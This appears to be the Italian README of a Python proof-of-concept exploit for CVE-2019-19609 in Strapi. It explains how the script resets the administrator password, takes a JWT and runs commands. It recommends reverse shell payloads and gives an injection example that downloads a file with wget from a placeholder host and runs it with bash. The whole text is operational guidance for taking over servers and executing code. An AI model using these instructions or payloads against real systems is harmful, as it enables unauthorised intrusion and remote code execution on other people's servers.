CVE-2019-19609-POC-Python

Lo script proverà a reimpostare la password a quella dichiarata nella variabile "updated_pass"; se ci riesce, fornirà un token JWT da Strapi e lo userà per eseguire comandi. I comandi bind non funzioneranno a meno di inviare un payload di reverse shell, con bash o python o qualsiasi altra cosa. Puoi generare un file .sh che scarichi nc per te e lo esegua, o qualsiasi altra cosa. Anche elf. Per fare ciò, cambia payload_exp da && a ). Ad esempio, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) L'URL non è più attivo